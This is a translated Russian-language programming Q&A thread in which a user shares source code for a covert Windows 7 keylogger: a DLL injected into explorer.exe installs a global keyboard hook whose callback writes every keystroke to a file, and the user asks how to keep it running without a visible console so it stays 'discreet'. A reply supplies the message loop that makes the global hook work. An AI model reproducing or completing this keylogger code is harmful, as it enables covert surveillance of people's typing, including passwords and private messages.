Я пытаюсь создать кейлоггер на Windows 7. Чтобы сделать это, я создал Dll (setHook.dll
), который я setHook.dll
в новый поток explorer.exe. В этой первой DLL я открываю другую dll, которая содержит функцию (hookfunc
), вызываемую на каждом вводе клавиатуры.
Мне нужно, чтобы моя Dll работала в фоновом режиме, потому что, если она умирает, я потерял функцию Hook. Чтобы сделать это, я попытался:
Sleep(INFINITE);
: работает момент, но explorer.exe crashwhile(1);
в while(1);
: работает момент, но explorer.exe crashsystem("pause")
: работает! Но я не хочу, чтобы на экране появлялась консоль, мой кейлоггер должен быть осторожным.getchar()
: то же, что и system("pause")
;system("pause > null");
: доступ закрытthis_thread::sleep_for(chrono::seconds(10))
: explorer crashSetHook.dll:
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
HMODULE dll;
HOOKPROC addr;
HHOOK handle;
if (dwReason != DLL_PROCESS_ATTACH)
return true;
if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
return false;
if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
return false;
if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
return false;
Sleep(INFINITE); //issue here
return true;
}
CallbackFunc: (я не думаю, что это может помочь)
LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
std::ofstream file;
WORD buf = 0;
BYTE KeyState[256];
file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
if (code >= 0 && KEYUP(lParam))
{
if (wParam == VK_RETURN)
file << "[ENTER]";
else
{
GetKeyboardState(KeyState);
ToAscii(wParam, lParam, KeyState, &buf, 0);
file << (char)buf;
}
}
file.close();
return (CallNextHookEx(NULL, code, wParam, lParam));
}
Код работает, мне просто нужен сдержанный бесконечный цикл вместо Sleep (INFINITE). Есть идеи?
Сон в DllMain - почти наверняка плохая идея.
Я предполагаю, что вы пытаетесь установить глобальный крючок. Для этого вам необходимо запустить цикл сообщений в приложении-инжекторе, например:
while(GetMessage(&msg, NULL, 0, 0 ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}